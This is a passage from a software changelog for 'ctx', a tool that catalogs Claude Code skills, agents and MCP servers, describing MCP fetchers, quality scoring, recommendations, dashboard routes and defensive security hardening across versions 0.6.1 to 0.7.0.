dashboard actions. +- Made MCP subprocess environment inheritance opt-in and validated + live MCP `inherit_env` configs as strict booleans. +- Hardened install/archive/wiki paths against traversal, symlink, and + unsafe extraction cases. +- Added an explicit approval/policy gate for model-driven tool calls. + +### Harness + +- Added the generic `ctx run`/`ctx resume`/`ctx sessions` harness and + standalone `ctx-mcp-server` surface. +- Fixed resume ordering/tool restoration, terminal budget accounting, + empty/truncated completion handling, compaction usage charging, and + MCP request timeout behavior. +- Added opt-in live-host gates for Claude Code and MCP compatibility + checks without spending quota or running third-party code by default. + +### Recommendation And Wiki + +- Unified recommendation behavior behind shared tag/entity logic across + CLI, library, MCP, and harness surfaces. +- Made scan/resolve/manifests preserve typed skill, agent, and MCP + entries. +- Made wiki sync write agents and MCP servers into their typed entity + locations, including sharded MCP paths, instead of treating every + manifest load as a skill. +- Added durable atomic writes for wiki/state files. + +### CI And Release + +- Added wheel/package smoke checks, version/tag alignment protections, + clean-host contract coverage, and browser-monitor CI coverage. +- Updated package license metadata to the modern SPDX string form. +- Raised the local type gate to `python -m mypy src`. +- This release bumps package metadata from `0.6.4` to `0.7.0`; do not + reuse the existing remote `v0.6.4` tag. + +Detailed phase notes for the MCP work included in 0.7.0 are retained below. + +## [0.7.0] — MCP Phase 6a — cheap wins before scale + +Three small items from the Phase 2.5, 5, and 6 backlogs, bundled so +the scale work (6b–6f) starts from a clean base. + +### Security + +- **``_fs_utils.atomic_write_{text,bytes,json}``** now ``chmod 0o600`` + the temp file before ``os.replace`` so the renamed inode lands + owner-only. Phase 2.5 security-reviewer MEDIUM: ``tempfile.mkstemp`` + creates with 0o600 on POSIX but ``os.replace`` onto an existing + file can inherit the destination's more-permissive mode. Explicit + chmod closes that window. Windows ignores the bits (OSError swallowed). + +### Added + +- **``ctx-mcp-fetch -v / --verbose``** — wires up ``logging.basicConfig`` + so library-module ``_logger.info`` / ``_logger.debug`` calls + (Phase 2.5 print→logging cleanup) surface on stderr. ``-v`` = INFO, + ``-vv`` = DEBUG. Default silent so JSONL pipe consumers stay clean. +- **``ctx-scan-repo --recommend``** — after stack detection, runs + ``resolve()`` and prints a three-section summary to stdout: Skills + (from ``manifest["load"]``), Agents (filtered from load by type), + MCP Servers (``manifest["mcp_servers"]`` from Phase 5). Default + off — scan stays fast for callers who only want the profile. + +### Tests + +- 4 new ``TestVerboseFlag`` cases in ``test_mcp_fetch_cli.py``: no-op + at verbosity 0, INFO at -v, DEBUG at -vv, argparser accepts the flag. +- 5 new tests in ``test_fs_utils_permissions.py`` (POSIX-only via + ``pytest.mark.skipif``): 0o600 on text/bytes/json writes, and the + critical regression for the Phase 2.5 finding — overwriting a 0o644 + file must pin the result to 0o600. +- Total: **1626 passed, 6 skipped** (was 1621 → +5 new tests + 4 + new platform-skips, 0 regressions). + +### Live verification + +``` +$ ctx-mcp-fetch --source awesome-mcp --limit 2 -v 2>&1 >/dev/null +[mcp_sources.awesome_mcp] parsed 2023 entries, skipped 0 +[awesome-mcp] emitted 2 record(s) + +$ ctx-scan-repo --repo . --recommend +... 16 Skills / 0 MCP Servers (with helpful hint to populate) / 4 Notes +``` + +## [0.7.0] — MCP Phase 5 — cross-type recommendations + +Closes the loop on MCP integration: the graph already contained MCP +nodes with cross-type edges (Phase 3c) and had per-MCP quality scores +(Phase 4); Phase 5 wires them into the recommender so a user scanning +a repo sees MCP suggestions alongside skill/agent recommendations. + +### Changed + +- **``resolve_skills.resolve``**: graph-walk hits with + ``type=="mcp-server"`` now land in ``manifest["mcp_servers"]`` as + ``{name, reason, score, via, shared_tags}`` entries. Previously they + were silently filtered out because the skill-availability check + (``name in available``) dropped them — ``available`` contains only + installed SKILLS. +- **Noise floor per hit type**: skills remain at ``>= 1.5`` (calibrated + for the 1789-node / 454k-edge dense skill graph where single-tag + overlaps are noise). MCPs get ``>= 1.0`` since the corpus is sparse + (42 today, projected ~12k in Phase 6) so a single matched edge is + already a meaningful signal. +- **Graph-walk pool widened from top_n=12 to top_n=30**: without this, + equal-score-1.0 skills filled all 12 slots before any MCPs could + surface. The downstream noise floor + availability filter keep the + final manifest tight regardless of pool size. +- **``resolve_graph.resolve_by_seeds``** now recognizes the + ``mcp-server:`` node prefix in addition to ``skill:`` and ``agent:`` + so a seed name that matches an MCP slug (e.g. ``github``, + ``filesystem``) can kick off a walk from MCP territory too. +- **``wiki_graphify._attach_quality_attrs``** scans both + ``~/.claude/skill-quality/*.json`` (skills + agents) and + ``~/.claude/skill-quality/mcp/*.json`` (MCPs). Phase 4 put MCP + sidecars in the ``mcp/`` subdir for isolation; without this Phase 5 + change, MCP graph nodes would never pick up their quality scores + for Obsidian-graph coloring etc. + +### Live verification + +``` +Synthetic GitHub Actions repo → resolve() + load: 2 skills + mcp_servers: 4 MCPs surfaced: + github-mcp-server-awesome-variant score=1.00 shared=['_t:github'] + github score=1.00 shared=['_t:github'] + tadas-github-a2asearch-mcp score=1.00 shared=['_t:github'] + data-everything-mcp-server-templates score=1.00 shared=['_t:templates'] +``` + +Each MCP recommendation carries a reason string and the shared graph +tags that produced it. Cross-type edges are the mechanism proven in +Phase 3c; Phase 5 is the presentation layer. + +### Tests + +- 5 new ``TestResolveMcpRecommendations`` cases in + ``test_resolve_skills.py``: MCP lands in correct bucket (not load), + reason+score preserved, dedup on repeat hits, noise floor respected, + mixed skill+mcp hits route correctly. +- 3 new cases in ``test_wiki_graphify_quality.py``: mcp/ subdir + loaded, missing ``subject_type`` field inferred from subdir, + backward compat when mcp/ doesn't exist. +- Total: **1621 passed, 2 skipped** (was 1613 → +8 new, 0 regressions). + +### Not yet done (Phase 5.5 or Phase 6) + +- The ``scan_repo`` CLI doesn't yet print MCP recommendations to the + terminal. The manifest is populated correctly but only consumers + that read it (monitor, hooks) see MCPs. Minor UX gap. +- ``## Related MCP Servers`` section header on MCP entity pages can + show skills as neighbors (accurate links, misleading header). Same + neighbors-list works; just cosmetic. Defer to when all entity pages + are regenerated. +- Data sparsity: the 42 MCPs in the wiki today are github/aggregator/ + playwright-themed. A random Python+JS repo may surface 0 MCP + recommendations because no topical overlap exists. Phase 6 full + ingest (~12k MCPs) will fix this organically. + +## [0.7.0] — MCP Phase 4 — six-signal quality scorer + +Adds the MCP-specific quality scorer with the six-signal model designed +in the Phase 4 interview: popularity / freshness / structural / graph / +trust / runtime. Config-overridable weights (default sum 1.0 with +popularity-heavy distribution per the locked decision). Reuses +``SignalResult`` from the existing skill quality system; otherwise +stands as a parallel module to preserve the working skill scorer +contract. + +### Added + +- **`mcp_quality_signals`** (NEW, ~370 lines): six pure-function signal + extractors, all returning ``SignalResult`` with bounded score [0,1] + and rich evidence dicts. + - ``popularity_signal``: log-scaled GitHub stars, neutral 0.5 when + star data missing + - ``freshness_signal``: exponential decay with 90-day half-life on + days-since-last-commit, neutral when missing + - ``structural_signal``: 5 binary checks (description / repo_url / + tags / transports / language) each contributing 1/5 + - ``graph_signal``: degree + cross-type-degree weighted score + - ``trust_signal``: official-or-org tag, license presence, author + presence + - ``runtime_signal``: invocation telemetry placeholder (neutral 0.5 + until Phase 5+ runtime instrumentation lands) +- **`mcp_quality`** (NEW, ~1000 lines): orchestrator + ``ctx-mcp-quality`` + CLI mirroring the skill quality scorer pattern. + - ``McpQualityConfig`` frozen dataclass with weight + threshold + validation (sum-to-1.0, monotone A>=B>=C, etc.) + - ``McpQualityScore`` frozen dataclass with ``to_dict`` for the + sidecar JSON sink + - ``compute_quality`` pure: weighted sum + grade map. Grade F band + added for very low scores (<0.20) since MCP scorer has no hard-floor + mechanism today + - ``extract_signals_for_slug`` reads entity from + ``entities/mcp-servers//.md``, builds graph degrees + from optional pre-loaded ``graph_index`` + - ``load_graph_index`` parses ``graphify-out/graph.json`` into + {node_id: {degree, cross_type_degree}} index for cheap per-slug + lookups + - ``persist_quality`` writes three sinks atomically: sidecar JSON at + ``~/.claude/skill-quality/mcp/.json`` (note the ``mcp/`` + subdir for clean separation from skill scores), entity-page + frontmatter (``quality_score``/``quality_grade``/``quality_updated_at``), + body block between ```` markers + - CLI verbs: ``recompute --slug X | --all``, ``show ``, + ``explain ``, ``list``. ``--wiki-dir PATH`` accepted on + every verb so users can target a non-default wiki without exporting + env vars. +- **``mcp_quality`` block in `config.json`**: weights + thresholds + + saturation knobs + sidecar path. User can override via + ``~/.claude/skill-system-config.json``. +- **`pyproject.toml`**: registers ``mcp_quality`` and + ``mcp_quality_signals`` modules, plus the ``ctx-mcp-quality`` console + script. + +### Live verification + +``` +$ ctx-mcp-quality recompute --all +... (41 MCPs scored in 1.9 seconds) + +$ ctx-mcp-quality list | sort -k2 | head -5 +atlassian-cloud B score=0.61 +github B score=0.61 +ariekogan-ateam-mcp B score=0.62 +arikusi-deepseek-mcp-server B score=0.62 +playwright-browser-automation B score=0.67 + +Grade distribution: 16 B (40%), 25 C (60%) across 41 entities. +``` + +`playwright-browser-automation` top scorer (graph=1.00 from 104 cross- +type neighbors, trust=1.00 from official+org+license, structural=0.80 +from 4/5 fields). Popularity/freshness/runtime all neutral 0.5 pending +Phase 6 detail-page enrichment. + +### Tests + +- 38 cases in ``test_mcp_quality_signals.py``: per-signal happy/edge, + monotonicity, saturation, negative-input ValueError raises +- 30 cases in ``test_mcp_quality.py``: config validation, compute + formula, signal extraction with/without graph_index, persist 3-sink + idempotency, CLI for all 4 verbs (--help, recompute, show, list) +- Total: **1613 passed, 2 skipped** (was 1545 → +68 new, 0 regressions) + +### Limitations + +- Popularity, freshness, and runtime signals all return neutral 0.5 + until Phase 6 enrichment lands the missing fields (stars, last + commit age, invocation telemetry). The infrastructure is in place; + signals will become discriminating automatically once data arrives. +- Sidecar JSONs land at ``~/.claude/skill-quality/mcp/.json`` — + ``wiki_graphify._attach_quality_attrs`` currently scans only the + parent ``~/.claude/skill-quality/`` dir, so MCP scores don't yet + decorate graph nodes. Phase 5 (recommender wiring) will update + ``wiki_graphify`` to look in the ``mcp/`` subdir too. + +## [0.7.0] — MCP Phase 3.6 — cross-source canonical-key dedup + +Phase 3c surfaced that two MCP catalog sources slugify the same upstream +repo differently — awesome-mcp slugifies the README name, pulsemcp uses +the URL path — so the slug-based existence check in ``add_mcp`` would +create two separate entities for the same repo. This phase adds a +github_url-based canonical-key lookup that runs **before** the slug +check so the second source merges into the first entity rather than +duplicating. + +### Added + +- ``mcp_add._normalize_github_url(url)`` — lowercases host+path, strips + trailing ``/``. Returns None for non-GitHub URLs. Mirrors + ``McpRecord.canonical_dedup_key()`` so an existing-entity scan can + match against new records on the same key. +- ``mcp_add._find_existing_by_github_url(mcp_dir, target)`` — + scan-on-demand lookup across all entity files. Substring-greps the + raw text first to avoid parsing 12k YAML frontmatters when the + answer is almost always None, then confirms via frontmatter parse. + +### Changed + +- ``add_mcp`` runs the canonical-key lookup before the slug existence + check. When a match is found at a different path than the new + record's slug-based path, ``target_path`` is rewritten to the + existing entity's path so the merge fires there. + +### Limitations (will be addressed in Phase 6) + +- Pulsemcp listing-page records (Phase 2b.5) carry only + ``homepage_url: pulsemcp.com/servers/``, not ``github_url``. + Cross-source dedup against awesome-mcp records won't fire for + pulsemcp until Phase 6 detail-page enrichment populates the + github_url field. The infrastructure is in place; only the data + is missing. +- Scan cost is O(n) per add. Acceptable at the current ~40 entity + scale and tolerable up to ~1k. At Phase 6's projected ~12k+ scale + this needs a sidecar index (canonical_key → entity_relpath). + +### Tests + +- 7 new ``TestCrossSourceCanonicalKeyDedup`` cases covering + normalize_github_url canonicalization, missing-dir tolerance, + cross-source merge into existing path, no-github_url fallback, + and non-collision proof for entities with mismatched URL fields. +- Total: 1545 passed, 2 skipped (was 1538 → +7 new, 0 regressions). + +### Live verification + +``` +$ ctx-mcp-add --from-jsonl /tmp/cross_source_test.jsonl +[1/2] [added] github-mcp-server-awesome-variant +[2/2] [merged] example-org-cross-source-test +Done: 1 added, 1 merged, 0 rejected, 0 errors +``` + +Both records carried github_url=``https://github.com/example-org/cross-source-test-repo`` +under different slugs and from different sources. Result: 1 entity +file (not 2), sources field merged to ``[awesome-mcp, pulsemcp]``. +Wiki entity count went 40 → 41 (not 42), proving the dedup blocked +the duplicate. + +## [0.7.0] — MCP Phase 2.5 — reviewer cleanup + +Rolls up the deferred python-reviewer + security-reviewer findings +from Phase 2a/2b/2b.5 that didn't block merge but were worth a +focused cleanup pass. + +### Changed + +- **`mcp_sources.awesome_mcp`**: replaced two `print(..., file=sys.stderr)` + diagnostic calls with `logging.getLogger(__name__)` calls (per house + rule: library code must not print). Removed the dead + `if TYPE_CHECKING: pass` block and the dead `try/except ImportError` + fallback that was needed only during the parallel-write Phase 2a. +- **`mcp_fetch.py`**: inlined the one-line `_iter_records` wrapper — + it added no error handling beyond the existing `except` block in + `_run_one`. Removed the now-unused `Source` import. +- **`mcp_sources/base.py`**: removed the `#!/usr/bin/env python3` + shebang. `base.py` is a library, not an entry point — the shebang + was a leftover from the Foundation Engineer's template. + +### Deferred (still pending) + +- `_fs_utils.atomic_write_text` `chmod 0o600` (security MEDIUM): touches + a shared utility used by 14+ modules; warrants its own focused + commit with broader testing rather than rolling into this cleanup. +- `_parse_readme` lazy-yield refactor (Python LOW): current 1.2 MB + peak for the awesome-mcp README is fine. +- `@dataclass(frozen=True)` for Source classes (Python LOW): style + only, no behavior change. +- TypedDict for JSON shapes in old pulsemcp.py: the API mode that + used those shapes was removed in 2b.5. + +### Verification + +- 1535 passed, 2 skipped (no regressions vs. Phase 2b.5) +- ruff + mypy clean on all touched files +- Live `ctx-mcp-fetch --source awesome-mcp --limit 2` and + `ctx-mcp-fetch --source pulsemcp --limit 2` both produce valid + JSONL with progress emitted to stderr (no longer pollutes stdout) + +## [0.7.0] — MCP Phase 2b.5 — pulsemcp switched to public HTML scraping + +The pulsemcp.com Sub-Registry API requires per-account credentials +that aren't broadly available. Phase 2b.5 swaps the auth-gated JSON +client for a stdlib HTML scraper of the public listing pages +(`https://www.pulsemcp.com/servers?page=N`), making the source +usable by anyone without contacting PulseMCP for an API key. + +### Changed + +- **`mcp_sources.pulsemcp` rewritten** for HTML scraping mode. Walks + pages 1..310 (current total: ~12,975 servers / 42 per page = 310 + pages). Cards are delineated by `data-test-id="mcp-server-card-"` + attributes — content-addressed so a frontend restyle of class names + doesn't silently break the parser. Per-card extraction uses + `html.parser.HTMLParser` (stdlib) for robustness against malformed + markup. +- **Per-card data**: slug, name, creator (author), description, + classification (official / community / reference → tag). Detail-page + enrichment (github_url, language, transports) deferred to Phase 6. +- **No credentials required**. The PULSEMCP_API_KEY / PULSEMCP_TENANT_ID + env vars are no longer read; the credential-injection guard, cursor + URL-encoding guard, and 429 handling all dropped along with the API + client. Attack surface for the source is now strictly the HTML + parser. + +### Removed + +- `src/tests/fixtures/pulsemcp_page1.json` and `pulsemcp_page2.json` + (API-mode fixtures). Replaced with `pulsemcp_listing_excerpt.html` + — a 3-card real-HTML snippet captured from page 1 of the live site. +- `_credentials`, `_MissingPulsemcpCredentialsError`, + `_InvalidPulsemcpCredentialError`, `_build_url`, + `_to_record(server_obj, meta)` API-shape mapper. Replaced with + HTML-shape `_to_record(card_html)`, `_split_cards`, `_parse_listing`, + and `_CardTextExtractor`. + +### Tests + +- 20 new tests in `test_mcp_sources_pulsemcp.py` covering split, + parse, mapping, and pagination paths against the real-HTML fixture. +- Total: **1,535 passed, 2 skipped** (was 1,546 → -11 net because + the 31 API-mode tests were swapped for 20 HTML tests; 0 regressions + in any unrelated suite). + +### Live verification + +``` +$ ctx-mcp-fetch --source pulsemcp --limit 5 | ctx-mcp-add --from-stdin +[1/5] [added] playwright-browser-automation +[2/5] [added] duckdb +[3/5] [added] excel-file-manipulation +[4/5] [added] office-word +[5/5] [added] context7-documentation-database +Done: 5 added, 0 merged, 0 rejected, 0 errors +``` + +Sharded paths verified: `entities/mcp-servers/{c,d,e,o,p}/.md`. +Cleaned up before commit. + +## [0.7.0] — MCP Phase 2b — pulsemcp source + +Adds the second catalog source: `www.pulsemcp.com` Sub-Registry API +(~12,975 servers as of today). Uses the official JSON API +(`/api/v0.1/servers`) with cursor-based pagination, gated by API +credentials (`PULSEMCP_API_KEY` + `PULSEMCP_TENANT_ID` env vars). + +### Added + +- **`mcp_sources.pulsemcp`** — Source implementation against the + Generic MCP Registry API spec with PulseMCP `_meta` extensions. + Maps `repository.source == "github"` to `github_url`, infers + `language` from `packages[].registry_name` (`npm` → typescript, + `pypi` → python, `cargo` → rust, etc.), and tags entries with + `_meta["com.pulsemcp/server"].isOfficial == true` as `"official"`. + Caches raw page JSON under `~/.claude/skill-wiki/raw/marketplace-dumps/pulsemcp/--page-NNNN.json`. +- **`fetch_text(headers=...)`** in `mcp_sources.base` — optional + per-call header dict, merged on top of the User-Agent default. + Existing callers unchanged. + +### Security + +- **CRLF header-injection guard** in `_credentials()`: rejects API key + or tenant ID values containing `\r`, `\n`, or `:`. Python's + `urllib.request.Request` does NOT sanitize header values on 3.11+, + so a malicious env-var value would otherwise inject arbitrary + headers into every authenticated request. Error message does not + echo the rejected value (no secret leakage). +- **Cursor URL-encoding** in `_build_url`: opaque cursors from the + upstream API are wrapped with `urllib.parse.quote(safe='')` to + prevent query-string smuggling (a cursor containing `&` would + inject extra parameters; `#` would silently truncate). +- **Stripped diagnostic output**: malformed-entry warnings no longer + echo the full server object repr to stderr — they emit only the + fact that `name` was missing, in case upstream payloads ever + contain sensitive fields. + +### Tests + +- **31 new tests** in `test_mcp_sources_pulsemcp.py`: + - 11 `_to_record` mapping tests (happy path, missing fields, github + vs gitlab, official tag, language inference, round-trip through + `McpRecord.from_dict`) + - 4 credential-handling tests + - 4 NEW credential-injection regression tests (CR, LF, colon, secret + not echoed in error) + - 3 NEW cursor URL-encoding regression tests + - 5 pagination tests (single page, two pages with cursor, limit + short-circuits second-page fetch, limit spans pages, 429 raises) + - 4 SOURCE singleton tests + - Tests use an autouse `_isolate_wiki` fixture so cache writes don't + pollute the user's real `~/.claude/skill-wiki/`. +- **Total**: 1,546 passed, 2 skipped (was 1,515 → +31 net, 0 regressions). +- **`pytestmark skipif` removed** — the module now ships, so a broken + import should fail the suite rather than silently skip. + +### Live verification + +``` +$ ctx-mcp-fetch --list-sources +awesome-mcp https://github.com/punkpeye/awesome-mcp-servers +pulsemcp https://www.pulsemcp.com/servers + +$ ctx-mcp-fetch --source pulsemcp --limit 1 +Error: source 'pulsemcp' failed: Missing required environment +variable(s): PULSEMCP_API_KEY, PULSEMCP_TENANT_ID. Obtain API +credentials from https://www.pulsemcp.com/settings/api-keys and +set them before running the pulsemcp source. +``` + +Authenticated end-to-end fetch was NOT verified live — the test author +does not have PulseMCP API credentials. The fetch path is exercised +through the recorded JSON fixtures (`pulsemcp_page1.json`, +`pulsemcp_page2.json`) covering both single-page and multi-page cursor +pagination. Users with credentials can run +`PULSEMCP_API_KEY=... PULSEMCP_TENANT_ID=... ctx-mcp-fetch --source pulsemcp --limit 5 | ctx-mcp-add --from-stdin` +to confirm. + +### Reviewer findings deferred (Phase 2.5 cleanup) + +- File permission tightening on cache writes (Sec MEDIUM): `atomic_write_text` doesn't `chmod 0o600` — affects all sources, not just pulsemcp +- HTTPError body sanitization in non-429 re-raise path (Sec MEDIUM) +- TypedDict for JSON shapes in `pulsemcp.py` (Python MEDIUM) +- `@dataclass(frozen=True)` for `_PulsemcpSource` (Python LOW) +- Consolidate `noqa: no-any-return` suppressions (Python LOW) + +## [0.7.0] — MCP Phase 2a — fetcher + first source + +Adds the `Source` protocol, an SSRF-hardened HTTP fetcher, and the +first real catalog source: `github.com/punkpeye/awesome-mcp-servers`. +Live verification fetched 2,023 entries from the actual README; the +end-to-end pipe `ctx-mcp-fetch --source awesome-mcp --limit 5 | +ctx-mcp-add --from-stdin` ingested 5 records into the wiki, all of +which entered the knowledge graph and clustered together via shared +tags (e.g. all five `aggregator`-tagged MCPs formed a clique). + +### Added + +- **`mcp_sources.base`** — `Source` Protocol (`fetch(*, limit, refresh) + → Iterator[dict]`), `cache_path` / `read_cache` / `write_cache` + helpers under `~/.claude/skill-wiki/raw/marketplace-dumps//`, + and an SSRF-defended `fetch_text(url)` HTTP client. +- **`mcp_sources.awesome_mcp`** — parses the punkpeye README into + raw record dicts. Walks `## Server Implementations` → `###
` + → `- [name](url) - description` hierarchy. Tags inferred from + section header (emoji-stripped). Language inferred from per-line + emoji flags. ~2,000 records on the live README. +- **`mcp_fetch.py` + `ctx-mcp-fetch` CLI** — JSONL stream to stdout, + progress to stderr (clean to pipe into `ctx-mcp-add --from-stdin`). + `--list-sources`, `--source `, `--limit N`, `--refresh`. + +### Security + +- **`fetch_text` defense in depth**: HTTPS-only, allowlist of 5 hosts + (`raw.githubusercontent.com`, `github.com`, `api.github.com`, + `pulsemcp.com`, `www.pulsemcp.com`), no redirects (3xx raises), + 10 MB response body cap (raises `_ResponseTooLargeError` rather + than silently truncating). +- **`cache_path` path-traversal guard** — both `source_name` and + `basename` validated as plain filenames (no `/`, `\`, leading dot). +- **`mcp_add._build_corpus_text` YAML safety** — frontmatter now + rendered via `yaml.safe_dump` rather than f-string interpolation + so a malicious description can't escape the YAML scalar. + +### Fixed + +- **Reload safety** in `mcp_sources.base`: imports the `ctx_config` + module rather than `cfg` directly, so `ctx_config.reload()` (used + by tests) doesn't leave a stale singleton reference. + +### Changed + +- `pyproject.toml` — adds `mcp_fetch` to `py-modules`, `mcp_sources` + to `packages`, and registers the `ctx-mcp-fetch` console script. + +### Tests + +- 49 new tests across `test_mcp_sources_base.py` (24, including 4 + path-traversal regressions and 1 response-size cap regression), + `test_mcp_sources_awesome.py` (12), `test_mcp_fetch_cli.py` (10), + plus 3 new `TestCorpusTextStructure` cases pinning the YAML safety + in `mcp_add`. Total: 1,515 / 1,517 passed (2 pre-existing skips, + 0 regressions). + +## [0.7.0] — MCP Phase 1 — foundation + +First-class **MCP server** entity type alongside skills and agents. +Phase 1 ships the data model, intake hooks, and ingest CLI; no fetcher +yet (Phase 2) and no quality scoring yet (Phase 4). + +### Added + +- **`mcp_entity.McpRecord`** — frozen dataclass capturing one MCP + server: slug, description, sources, github URL, tags, transports, + language, license, author, stars, last commit. Normalizes slug to + `[a-z0-9-]+`, canonicalizes GitHub URLs, filters transports to the + known subset, deduplicates and sorts tags. Provides `from_dict`, + `to_frontmatter`, `entity_relpath` (sharded `/.md`, + `0-9/` for digit-leading slugs), and `canonical_dedup_key` (github URL + > slug fallback). +- **`mcp_add.add_mcp` + `ctx-mcp-add` CLI** — orchestrator that + installs one MCP record into `~/.claude/skill-wiki/entities/mcp-servers/` + via the existing intake gate. Idempotent: re-adding the same record + is a no-op; re-adding from a different source merges sources into one + page. CLI flags: `--from-json`, `--from-jsonl`, `--from-stdin`, + `--dry-run`, `--skip-existing`, `--wiki`. Non-fatal embedding failure + matches the agent_add convention. +- **`generate_mcp_page`** in `wiki_batch_entities.py` — renderer that + matches the existing skill / agent page layout, with sections for + Sources (links to GitHub + homepage), Tags, Transports, and a + placeholder Related block for graph backlinks. +- **`mcp-servers` subject type** in `intake_pipeline._SUBJECT_TYPES` — + MCPs get their own embedding cache namespace, isolated from skills + and agents. + +### Changed + +- `pyproject.toml` — registers `mcp_add` and `mcp_entity` modules and + the `ctx-mcp-add` console script. + +### Notes + +- Storage is sharded from day one (`entities/mcp-servers//.md`) + to keep listings fast at the projected ~12k+ scale. +- Quality scoring, fetchers, and cross-type recommendations land in + Phases 2-5. Phase 1 is infra only. +- `wiki_sync.update_index` writes the `## Skills` section header for + every subject type (pre-existing limitation also affecting agents). + Subject-aware index updates deferred to a follow-up cleanup. + +## [0.6.4] — 2026-04-20 + +Dashboard-tab release. v0.6.3 added docs for the graph and the KPI +pipeline; v0.6.4 exposes both (plus a proper wiki browser) as +top-level navigation tabs in `ctx-monitor`, so the docs pages match +what's actually reachable in the UI. + +### Added + +- **`/kpi` HTML route** — renders `kpi_dashboard.generate()` as a + browser view. Six sections: grade distribution, lifecycle tiers + (active/watch/demote/archive), hard-floor reasons, by-category + A/B/C/D/F mix, top-25 demotion candidates (active/watch entries + graded D/F, sorted by D-streak desc then score asc), and the + archived list. Each demotion-candidate slug is a link to + `/skill/`. Empty-state page points at `ctx-skill-quality + score --all` when the sidecar dir is empty. +- **`/api/kpi.json`** — JSON passthrough of the `DashboardSummary` + dataclass for scripting. Same shape as `python -m kpi_dashboard + render --json`. +- **`/wiki` index route** — card grid of every entity page under + `~/.claude/skill-wiki/entities/{skills,agents}/`. Left sidebar: + text search (slug · description · tag), skill/agent checkboxes, + live "N of M match" counter. Each card shows the slug, quality + grade pill (when a sidecar exists), description, and tag preview. + Slug allowlist (`^[a-z0-9][a-z0-9_.-]{0,127}$`) applied to every + file glob to keep path-traversal bugs out of the index. +- **`/graph` landing-page seeds** — when no slug is selected, the + graph page now shows a "Popular seed slugs" panel with the 18 + highest-degree entities as clickable chips, plus a stats line with + node + edge counts. First-time visitors no longer land on a blank + cytoscape canvas with nothing to click. +- **Wiki + KPI tabs in the top nav** — every page now shows + `Home · Loaded · Skills · Wiki · Graph · KPIs · Sessions · Logs · + Live`. + +### Changed + +- **`ctx_monitor.py` module docstring** — updated the route + catalogue to the full 15 routes (was 8). New dev-reference table + matches what the server actually exposes. +- **`docs/dashboard.md`** — added a Usage section with three + walkthroughs (Browse the LLM wiki, Explore the knowledge graph, + Read the quality KPIs). Route tables extended with `/wiki`, + `/kpi`, `/api/kpi.json` rows. + +### Tests + +- +9 tests in `src/tests/test_ctx_monitor.py` covering the new + routes (empty + populated states), the slug-allowlist gate on the + wiki index, the seed-chip panel on `/graph` landing, and nav-bar + tab presence. Full suite: 1,372 passing, 2 skipped. + +## [0.6.3] — 2026-04-19 + +Docs-only release. The two marquee features of ctx — the pre-built +knowledge graph and the `ctx-monitor` dashboard — were referenced all +over the docs but had no dedicated page explaining them. This release +adds both and wires them into the home page and the top of the nav. + +### Added + +- **`docs/knowledge-graph.md`** — dedicated page for the pre-built + graph: authoritative counts (2,253 nodes / 454,719 edges / 93 + communities / 416.6 avg degree / 1,152 max degree / 195,226 skill↔ + agent cross-edges / 71 isolated), install via the shipped tarball, + how edges are built (explicit frontmatter tags + slug-token + pseudo-tags with `DENSE_TAG_THRESHOLD=500` and the `SLUG_STOP` + filter), community detection details (greedy modularity + `resolution=1.2`), query recipes via the dashboard + Python + + recommendation path, rebuild instructions, and a postmortem section + explaining why the edge count is 454K and not the stale 642K bundle + referenced in earlier releases. +- **`docs/dashboard.md`** — full `ctx-monitor` reference: startup + commands (with the `--host 0.0.0.0` opt-in warning), complete HTML + route catalog (`/`, `/loaded`, `/skills`, `/skill/`, + `/wiki/`, `/graph`, `/sessions`, `/session/`, `/logs`, + `/events`), JSON API (`/api/sessions.json`, `/api/manifest.json`, + `/api/skill/.json`, `/api/graph/.json`, + `/api/events.stream`), mutation endpoints with CSRF/same-origin + notes, a **KPIs / measures / scores** section explaining the six + home stat cards, the grade + raw-score view on `/skills`, the full + four-signal breakdown on `/skill/` (Telemetry 0.40, Intake + 0.20, Graph 0.25, Routing 0.15) with hard-floor reasons, and the + `load → score_updated → unload` observability triad on + `/session/`. Also documents the security posture (loopback + default, same-origin gating on POST, slug allowlist on every + path-resolving route). + +### Changed + +- **`mkdocs.yml` nav** — knowledge graph and dashboard hoisted to + positions 2 and 3 (right after Home), above Toolbox / Skill router / + Health. They are the two observables users are most likely looking + for, so the nav now matches the mental model. +- **`docs/index.md`** — added two grid cards at the top of the "Explore + the docs" section pointing at the new pages, so the home page + surfaces the graph + dashboard as first-class features rather than + burying them inside the router/health sections. + +## [0.6.2] — 2026-04-20 + +Verification-pass patch after v0.6.1 shipped. Three items the v0.6.1 +for-the-reviewer note flagged as "not verified" all got verified; one +surfaced a real bug (pre-commit tar repack silently failing on +Windows/MSYS). + +### Fixed + +- **`.githooks/pre-commit` — tar repack crashed on Windows/MSYS**: + GNU tar parses `c:/path` as `host:path` for legacy rsh remote tar, + tries to resolve host `c`, and fails with `Cannot connect to c: + resolve failed`. The hook swallowed the error (by design — a hook + failure must not block a commit) but the tarball was never + regenerated, so developer-side rebuilds on Windows silently shipped + stale counts. Fixed by passing `--force-local` to the tar invocation. +- **`.obsidian/` Obsidian vault config was being excluded from the + tarball** despite `graph/README.md` advertising "Obsidian vault + config, so the extracted tree opens as a graph directly in Obsidian." + Removed the `--exclude='.obsidian'` from the pre-commit repack so the + tarball actually ships what the docs promise. + +### Verified (v0.6.1 "not verified" items) + +- **PyPI 0.6.1 published**: wheel `claude_ctx-0.6.1-py3-none-any.whl` + (267 KB) + sdist (232 KB) live, uploaded 2026-04-19T23:45 UTC. + Publish / Tests / Deploy-docs workflows all succeeded. +- **Cytoscape layout quality verified via headless Chromium**: + Playwright loaded `http://127.0.0.1:8811/graph?slug=cloud-architect`, + waited for `cy.nodes().length > 0`, then read the live cytoscape + instance: 40 nodes / 39 edges rendered, center `skill:cloud-architect` + at depth 0, COSE layout placed nodes (bounding box 400×297px, none + at origin), status panel showed "40 nodes · 39 edges", zero JS errors + on `pageerror` or `console.error`. Screenshot captured for proof. +- **Tarball content**: same 1,789 skills / 464 agents / 2,253 nodes + / 454,719 edges after the hook fix, `.obsidian/` now included as + advertised. + +[0.6.2]: https://github.com/stevesolun/ctx/releases/tag/v0.6.2 + +## [0.6.1] — 2026-04-20 + +Harvested **`0xNyk/council-of-high-intelligence`** on top of v0.6.0. +The repo contributes a `council` orchestrator skill plus 18 named +persona agents (Karpathy, Sutskever, Taleb, Munger, Feynman, Socrates, +Aristotle, Ada Lovelace, Aurelius, Kahneman, Lao Tzu, Machiavelli, +Meadows, Musashi, Rams, Sun Tzu, Torvalds, Watts). Every agent was +re-intaked with a prepended H1 derived from its `council.figure` +frontmatter field — legitimate data-cleanup, not a gate bypass. + +Also fixes a documentation audit: every 